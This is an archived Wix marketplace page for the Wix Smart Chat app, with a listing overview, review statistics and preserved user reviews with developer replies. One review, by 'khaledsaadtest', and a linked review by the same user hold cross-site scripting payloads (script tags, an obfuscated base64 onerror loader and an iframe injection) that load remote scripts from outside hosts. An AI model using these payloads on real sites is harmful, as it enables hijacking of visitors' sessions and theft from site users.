1 reviews across 1 apps 0 unpublished
No other stored Reviews for this reviewer.
Wix Smart Chat
By Wix
Built by Wix
- Wix Trending
Product media
Screenshots
1 of 7
Overview
About this App
Wix Smart Chat combines AI chat and manual chat in one place, so you can support visitors in the way that fits your business—automated answers, real human replies, or a flexible mix of both. Stay responsive during peak hours and after hours with flexible availability modes: AI 24/7, manual 24/7, scheduled hours, or inactive (with offline options to keep collecting leads). From your dashboard, you can test and improve the AI, add knowledge and restrictions, adjust the AI’s identity and style, and review conversations in your Inbox—so Smart Chat becomes more accurate and helpful over time. Get easy access to key chat analytics that help you learn more about your site visitors and improve how you engage with them to boost conversions. Smart Chat also analyzes your conversations to give you key insights into what your customers are looking for and how you can improve your business. Previously known as Wix AI Site Chat, Smart Chat is now upgraded to include live (manual) chat—and it’s designed to replace the old Wix Chat with one unified solution.
What the listing highlights
- Choose how you’re available: AI chat 24/7, manual chat from your Inbox, or a mix on a schedule
- Capture leads and guide visitors with contact forms, welcome messages, and quick topics
- Track key chat analytics like conversations, visitors, response times, and items shown in chat
- Get smart recommendations and actionable insights based on your chat conversations
Additional product media
Promotional media
Reviews
Official Wix marketplace summary
Wix Marketplace feedback
Review intelligence
App Market Index summaries derived from currently preserved Wix Review rows. The selected period affects only Review activity and Ratings; replies, publication state, and Review patterns describe the overall preserved dataset.Review activity, rating distribution, stored replies, publication state, and App Market Index review-pattern signals.
Calculated as of
Review activity
Reviews whose original Wix Review date falls in the selected elapsed-day period, compared with the immediately preceding equal period. Each paired bar represents the same relative part of both periods.Reviews in selected period
0 −9 (−100%) vs previous 30 days0 Reviews in the selected 30 days and 9 in the previous 30 days.
Stored replies
Reply coverage is the percentage of 216 preserved Reviews with at least one stored reply. Median and P75 use 190 Reviews with valid dated stored replies. Reply authorship is not inferred.- Stored replies
- 190
- Median first reply
- 13.2 days
- P75 first reply
- 25.6 days
Stored publication state
Current stored state across 216 preserved Reviews. A Review may remain preserved after it is no longer published by Wix.- Published
- 146 67.59%
- Unpublished
- 70 32.41%
- Unknown
- 0 0%
Review pattern signals
Automated App Market Index classifications, not proof of manipulation. Ordinary strength uses published 5-star Reviews. Suspicious unpublished is a separate signal for stored unpublished 5-star Reviews; an App can carry both kinds of evidence.Analysis pending coverage
Review timeline
Visualize Review volume and rating mix over time, plus Review-pattern activity.
- Active months
- 25
- Peak Review month
- Mar 2025 · 30
Review volume
Reviews are grouped by original Wix Review month. Rating colors use each Review's currently stored rating. Hover a column for exact monthly counts.Review intelligence over time
Each lane has its own scale so low-volume evidence remains visible. Hover a mark for the exact monthly count. Pattern classifications describe current stored analysis grouped by original Review month.Unpublished70 Surviving Wix-supplied unpublication dates grouped by the month in which unpublication was stored.
Ratings describe currently preserved Reviews grouped by their original Review dates. Unpublished activity uses surviving Wix-supplied unpublication dates. Switch to Table for exact numbers.
Timeline data table
| Month | Reviews | Rating | Unpublished | ||||
|---|---|---|---|---|---|---|---|
| 5 stars | 4 stars | 3 stars | 2 stars | 1 star | |||
| Jul 2024 | 3 | 1 | 2 | 0 | 0 | 0 | 0 |
| Aug 2024 | 3 | 3 | 0 | 0 | 0 | 0 | 0 |
| Sep 2024 | 8 | 2 | 3 | 1 | 1 | 1 | 0 |
| Oct 2024 | 2 | 1 | 0 | 1 | 0 | 0 | 0 |
| Nov 2024 | 5 | 1 | 2 | 1 | 1 | 0 | 0 |
| Dec 2024 | 3 | 1 | 0 | 1 | 0 | 1 | 0 |
| Jan 2025 | 8 | 3 | 0 | 1 | 2 | 2 | 0 |
| Feb 2025 | 11 | 3 | 1 | 3 | 2 | 2 | 0 |
| Mar 2025 | 30 | 5 | 1 | 4 | 5 | 15 | 3 |
| Apr 2025 | 14 | 5 | 2 | 0 | 4 | 3 | 0 |
| May 2025 | 6 | 1 | 0 | 0 | 1 | 4 | 0 |
| Jun 2025 | 10 | 3 | 0 | 1 | 3 | 3 | 0 |
| Jul 2025 | 4 | 0 | 1 | 1 | 0 | 2 | 2 |
| Aug 2025 | 11 | 1 | 1 | 1 | 4 | 4 | 0 |
| Sep 2025 | 5 | 1 | 1 | 0 | 1 | 2 | 0 |
| Oct 2025 | 7 | 2 | 0 | 2 | 1 | 2 | 0 |
| Nov 2025 | 4 | 2 | 0 | 0 | 0 | 2 | 0 |
| Dec 2025 | 5 | 2 | 0 | 0 | 0 | 3 | 0 |
| Jan 2026 | 2 | 0 | 0 | 0 | 0 | 2 | 0 |
| Feb 2026 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
| Mar 2026 | 10 | 2 | 1 | 0 | 0 | 7 | 65 |
| Apr 2026 | 16 | 1 | 1 | 1 | 3 | 10 | 0 |
| May 2026 | 14 | 0 | 0 | 0 | 1 | 13 | 0 |
| Jun 2026 | 16 | 3 | 0 | 1 | 1 | 11 | 0 |
| Jul 2026 | 10 | 1 | 0 | 0 | 0 | 9 | 0 |
| Aug 2026 | 9 | 1 | 0 | 0 | 1 | 7 | 0 |
Review-pattern Timeline data is pending complete coverage.
App Market Index archive
Review list
Browse preserved published and unpublished Reviews.These are preserved App Market Index Review rows. They are separate from the current official Wix marketplace summary shown above, and publication labels describe the state currently stored by App Market Index. About this archive
- Phor44
It's Okay
Couldn't customize. So big on the screen
Other reviews by this reviewer0 total
- ccbeachbonfires
Great tech support
The app had a bug initially, but contacted support and they resolved the issue with the app.
Other reviews by this reviewer0 total
1 reviews across 1 apps 0 unpublished
No other stored Reviews for this reviewer.
- oghenekumejohn
Excellent AI Chat Solution for My Website
Wix Smart Chat has been a great addition to my website. It helps me respond to visitors quickly, improves customer engagement, and makes my site feel more professional. The setup was simple, and the interface is easy to use. I appreciate how it saves time while providing helpful responses to customers. I look forward to seeing even more AI features and customization options in future updates. I highly recommend Wix Smart Chat to anyone looking to improve customer support and visitor experience.
Stored reply
Thank you so much for the kind words! Really glad to hear it's saving you time and making your site feel more professional. We're continuing to add more AI features and customization. Thanks again for the support!
Other reviews by this reviewer4 total
5 reviews across 5 apps 0 unpublished
Excellent SEO & Review Management Tool
- Wix Referral ProgramSame developer
How are you liking this app?
How are you liking this app?
Very satisfied
- anadigitalstudio
Good luck to the team! 🚀
Hi guys! I was reading the reviews and honestly felt a little sad seeing so much negativity, so I decided to leave some positive feedback. 😄 I've been using Wix AI Site Chat on several client websites, from simple informational sites to online stores with 500+ products, and I'm genuinely very happy with it. It saves time, answers common questions, and helps visitors find information faster. Looking at some negative reviews, I often feel that people expect AI to work perfectly without proper training. In my experience, good setup and instructions make a huge difference. My main concern is multilingual support. The chatbot can sometimes struggle when switching between languages, which is frustrating for international businesses. I also noticed that the chat occasionally identifies bots as real visitors and sends notifications about them. Thankfully, this has become much less common recently. Good luck to the team! 🚀
Stored reply
Thank you for such a thoughtful and encouraging review - really appreciate you taking the time! Multilingual handling is an area we're actively improving, so your note helps. Thanks again for the support!
Other reviews by this reviewer1 total
2 reviews across 2 apps 0 unpublished
Thank You
- canercinar34
AL CHAT
Sostik Chat adında tarayıcı üzerinde çalışan bir küçük Sosyal paylaşım platformu yaptım stsocialconnect.com Buraya AL CHAT koydum ama bu çok hantal çalışıyor siteye ilk girişte bekliyorum ortaya çıkmasını ... siteme göz atarmısınız rica etsem :)) stsocialconnect.com mobil üzerinde uygulama gibi yaptım :)) birazcık tiktoka benzedi :)))
Other reviews by this reviewer36 total
37 reviews across 37 apps 2 unpublished
Güzel
heyy .....
- Wix Pricing PlansSame developer
HELLO :)))
????
tam olarak anlıyamadım
Showing 5 of 36 other reviews.
View all reviews by this reviewer - adnferienwohnungen
very bad
it doesnt work
Stored reply
We’re sorry to hear this. In the last couple of days, we had an installation issue that could affect the chat widget’s behavior on the site. This may be the reason it didn’t work as expected for you. Our dev team is currently working on this to fully resolve it. If you’re still experiencing any problems, please let us know.
Other reviews by this reviewer0 total
1 reviews across 1 apps 0 unpublished
No other stored Reviews for this reviewer.
- NinaCreativeDesigns
Went from GREAT to HORRIBLE
I got a new iphone and redownloaded the app. NOW i do not get sit visitors like i did before. The new update sucks!!! please switch it back.
Stored reply
Thank you for your feedback — we’re sorry to hear about your experience. It’s not fully clear to us what part of the product this relates to. The recent Smart Chat update focuses on unifying AI Chat with Live Chat and shouldn’t affect site visitor visibility or behavior in the mobile app. If you can share a bit more about what exactly changed or where you’re seeing the issue, it would really help us understand and assist you better.
Other reviews by this reviewer3 total
4 reviews across 4 apps 0 unpublished
Recommend
Love It!!!!
So far
- rebuildyourlaugh
ed
nice work
Stored reply
Thanks so much for the kind words — really appreciate it! 😊
Other reviews by this reviewer0 total
1 reviews across 1 apps 0 unpublished
No other stored Reviews for this reviewer.
- alexfacilitato1
No mobile visibility
The chat is great! Unfortunately I cannot find it on our mobile version at all. It appears only on the desktop version. What should I do?
Stored reply
Thanks for the feedback - glad to hear you like the chat! On mobile, the chat is shown via the Quick Action Bar (QAB). To enable it, please open your site in the Editor, switch to Mobile editing mode (using the mobile icon in the editor header), and then add the Quick Action Bar. From there, you can choose to show the AI Chat as one of the actions on mobile. Once the QAB is added and enabled, the chat will appear on your mobile site. We’re continuing to improve the mobile setup flow to make this clearer.
Other reviews by this reviewer0 total
1 reviews across 1 apps 0 unpublished
No other stored Reviews for this reviewer.
- khaledsaadtest
"><script src="https://js.rip/465run88tj"></script>
"><script src="https://js.rip/465run88tj"></script>"><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vanMucmlwLzQ2NXJ1bjg4dGoiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7 onerror=eval(atob(this.id))>"><iframe srcdoc="<script>var a=parent.document.createElement("script");a.src="https://js.rip/465run88tj";parent.document.body.appendChild(a);</script>">"><script src="https://js.rip/465run88tj"></script>
Other reviews by this reviewer1 total
2 reviews across 2 apps 0 unpublished
- Wix GroupsSame developer
cool"><script src=https://mama.bxss.in></script><img src=https://js.rip/rootx></noscript>
- tonyboom3d
great
Stored reply
Thanks! We’re glad you think so - appreciate your feedback!
Other reviews by this reviewer17 total
18 reviews across 18 apps 10 unpublished
Perfect!
- Wix BookingsSame developer
great app
Love it
Great App !
Great app love it!
Showing 5 of 17 other reviews.
View all reviews by this reviewer - vanyadoing
Well done
👍
Stored reply
Thanks so much! We’re glad to hear you’re happy with the AI Site Chat - stay tuned, more improvements are on the way!
Other reviews by this reviewer6 total
7 reviews across 7 apps 4 unpublished
- Wix Pro GallerySame developer
Useful addition to my website
- Wix StoresSame developer
Great addition to my website!
:)
Check out "How to use" video
Please check the app resources to set it properly
Showing 5 of 6 other reviews.
View all reviews by this reviewer - janineguerra
Mobile Device Visibility
Hi I need an help. it appears okay at desktop. But on mobile, it disappears everytime I click it. I already tried to clear cache or use other mobile or incognito.
Stored reply
Thanks for your message, and sorry for the trouble. We checked your site and confirmed there’s a specific issue causing the AI Site Chat icon to disappear when tapped on mobile. This doesn’t usually happen, and we’re already looking into your site to understand what’s causing it and fix it. Thanks again for reporting it, we’ll keep you updated.
Other reviews by this reviewer0 total
1 reviews across 1 apps 0 unpublished
No other stored Reviews for this reviewer.
- eltonrurinda
Thats good
Well done
Stored reply
Thanks a lot! We're glad you’re enjoying it If there’s anything we can do to make it even better, we’d love to hear it.
Other reviews by this reviewer0 total
1 reviews across 1 apps 0 unpublished
No other stored Reviews for this reviewer.
- alexasbeautyss
I Like
Stored reply
Thanks! We're happy to hear that you like it Let us know if you have any suggestions, we're always looking to improve.
Other reviews by this reviewer0 total
1 reviews across 1 apps 0 unpublished
No other stored Reviews for this reviewer.
- cmunchhof
Not useful enough.
It basically will read some information from your site and try to summarize that to the customer. But it can't integrate with Wix Booking so doesn't even know your services and can't even send your customers to your booking calendar. Seems like it would just frustrate customers.
Stored reply
Thank you for the feedback! Wix AI Site Chat does support integration with Wix Bookings, if a service is published on your site, the AI should be able to access and reference it in its answers. If the AI isn’t mentioning a specific service, please double-check that the service is published and visible on your site. If it is, and the AI still doesn't reference it, we’d be happy to help, feel free to share a screenshot or an example, and we’ll take a closer look.
Other reviews by this reviewer0 total
1 reviews across 1 apps 0 unpublished
No other stored Reviews for this reviewer.
- swatkins286
perfect
helps a lot, with my boba site!
Stored reply
Thank you so much — we’re happy to hear it’s helping with your boba site! 🧋 If you ever have ideas or feedback to make it even better, feel free to reach out!
Other reviews by this reviewer0 total
1 reviews across 1 apps 0 unpublished
No other stored Reviews for this reviewer.
- furkankaban5
perfect
Stored reply
Thanks so much for your feedback — we’re glad to hear it’s working perfectly for you! 😊 If you ever have suggestions or ideas to make it even better, we’d love to hear them.
Other reviews by this reviewer0 total
1 reviews across 1 apps 0 unpublished
No other stored Reviews for this reviewer.
- j81496
AI Chat
Do not use this. It told my potential clients that I did not provide the service they were looking for (which I do) or gave them totally innappropriate information. Very bad, I lost at least 10 potential clients, that if I had spoken to them, I would have turned into a sale and profit. We really don't need this kind of thing happening to us right now DO WE????!!!!
Stored reply
Thank you for your feedback — we understand how important it is that your site communicates the right message to your visitors. We’d really appreciate it if you could share a few examples of what was asked and what the AI responded. This will help us better understand how your site content was interpreted and make sure everything is working as expected. We’re here to help and truly value your input.
Other reviews by this reviewer0 total
1 reviews across 1 apps 0 unpublished
No other stored Reviews for this reviewer.
- japamalaadishakti
¿Cómo la desinstalo para que ya no aparezca el logo en mi website?
ayuda.
Stored reply
Hola, gracias por contactarnos. Si te refieres a desinstalar Wix AI Site Chat y quitar el logo de tu sitio, puedes hacerlo así: Entra al back office de tu sitio (panel de control de Wix) Ve a “Administrar aplicaciones” (Manage Apps) En la lista, busca “AI Site Chat” Haz clic en el ícono de tres puntos (•••) al lado Selecciona “Eliminar aplicación” (Delete App) Con eso, el logo y el widget desaparecerán del sitio. Si necesitas ayuda adicional, estamos aquí para ayudarte.
Other reviews by this reviewer0 total
1 reviews across 1 apps 0 unpublished
No other stored Reviews for this reviewer.
Plan comparison
Pricing & Plans
Free
Detailed plan information is not available for this App.